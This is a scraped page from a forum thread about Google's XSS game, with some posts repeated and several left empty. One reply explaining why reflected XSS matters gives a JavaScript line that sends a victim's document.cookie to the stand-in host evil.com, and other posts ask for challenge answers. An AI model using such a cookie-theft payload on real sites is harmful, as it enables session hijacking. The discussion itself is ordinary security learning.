I asked this question once on SO and never really got a "great" answer I was after. If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site? So I'm curious if an attacker can gain anything by looking at their own XSS attack? http://stackoverflow.com/q/10265624/1317935
Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like (new Image).src = " http://evil.com/stolencookie=" + document.cookie; .
Google's XSS game
41–50 of 168 posts
Re: Google's XSS game
#42For those interested in XSS challenges, there's also http://escape.alf.nu , which I think has a slightly better UI.
Re: Google's XSS game
#43can someone share theirs hosted script that echos and alert? :D
Re: Google's XSS game
#44Re: Google's XSS game
#45Re: Google's XSS game
#46Re: Google's XSS game
#47Re: Google's XSS game
#48What is lvl2's answer? I'm trying:
Re: Google's XSS game
#49I asked this question once on SO and never really got a "great" answer I was after. If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site? So I'm curious if an attacker can gain anything by looking at their own XSS attack? http://stackoverflow.com/q/10265624/1317935
Persistent attacks are generally considered to be more dangerous, but reflected attacks are still quite bad.
Re: Google's XSS game
#50can someone share theirs hosted script that echos and alert? :D